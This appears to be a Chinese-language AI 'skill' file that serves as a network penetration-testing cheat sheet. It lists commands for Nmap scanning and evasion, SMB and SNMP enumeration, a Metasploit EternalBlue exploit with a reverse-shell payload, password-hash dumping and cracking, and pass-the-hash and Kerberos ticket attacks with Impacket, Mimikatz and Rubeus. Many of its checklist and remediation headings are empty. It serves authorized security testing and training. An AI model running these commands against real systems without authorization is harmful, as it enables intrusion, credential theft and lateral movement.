| name | network-penetration-testing |
| description | 网络渗透测试的专业技能和方法论 |
| version | 1.0.0 |
网络渗透测试
概述
网络渗透测试是评估网络基础设施安全性的重要环节。本技能提供网络渗透测试的方法、工具和最佳实践。
测试范围
1. 信息收集
检查项目:
2. 漏洞扫描
检查项目:
3. 漏洞利用
检查项目:
信息收集
网络扫描
使用Nmap:
nmap -sn 192.168.1.0/24
nmap -sS -p- 192.168.1.100
nmap -sV -sC 192.168.1.100
nmap -O 192.168.1.100
nmap -sS -sV -sC -O -p- 192.168.1.100
使用Masscan:
masscan -p1-65535 192.168.1.0/24 --rate=1000
服务枚举
SMB枚举:
smbclient -L //192.168.1.100 -N
enum4linux -U 192.168.1.100
nmap --script smb-enum-shares,smb-enum-users 192.168.1.100
RPC枚举:
rpcclient -U "" -N 192.168.1.100
nmap --script rpc-enum 192.168.1.100
SNMP枚举:
snmpwalk -v2c -c public 192.168.1.100
onesixtyone -c wordlist.txt 192.168.1.0/24
漏洞扫描
使用Nessus
使用OpenVAS
gvm-setup
使用Nmap脚本
nmap --script vuln 192.168.1.100
nmap --script smb-vuln-ms17-010 192.168.1.100
nmap --script all 192.168.1.100
漏洞利用
Metasploit
基础使用:
msfconsole
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
exploit
后渗透:
sysinfo
getsystem
migrate <pid>
hashdump
run post/windows/gather/smart_hashdump
常见漏洞利用
EternalBlue:
use exploit/windows/smb/ms17_010_eternalblue
python eternalblue.py 192.168.1.100
BlueKeep:
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
SMBGhost:
python smbghost.py 192.168.1.100
横向移动
密码破解
使用Hashcat:
hashcat -m 1000 hashes.txt wordlist.txt
hashcat -m 3000 hashes.txt wordlist.txt
hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule
使用John:
john hashes.txt
john --wordlist=wordlist.txt hashes.txt
john --wordlist=wordlist.txt --rules hashes.txt
Pass-the-Hash
使用Impacket:
python smbexec.py -hashes :<hash> domain/user@target
python wmiexec.py -hashes :<hash> domain/user@target
xfreerdp /u:user /pth:<hash> /v:target
票据传递
使用Mimikatz:
sekurlsa::tickets /export
kerberos::ptt ticket.kirbi
使用Rubeus:
Rubeus.exe asktgt /user:user /domain:domain /rc4:hash
Rubeus.exe ptt /ticket:ticket.kirbi
工具使用
Nmap
nmap -sS -sV -sC -O -p- -T4 target
nmap -sS -T2 -f -D RND:10 target
nmap -sU -p- target
Metasploit
msfconsole
msfdb init
db_import nmap.xml
hosts
services
Burp Suite
网络扫描:
- 配置代理
- 浏览目标网络
- 分析流量
- 主动扫描
测试清单
信息收集
漏洞扫描
漏洞利用
常见安全问题
1. 未打补丁的系统
问题:
修复:
2. 弱密码
问题:
修复:
3. 开放端口
问题:
修复:
4. 配置错误
问题:
修复:
最佳实践
1. 信息收集
2. 漏洞利用
3. 报告编写
注意事项
- 仅在授权环境中进行测试
- 避免对生产系统造成影响
- 遵守法律法规
- 保护测试数据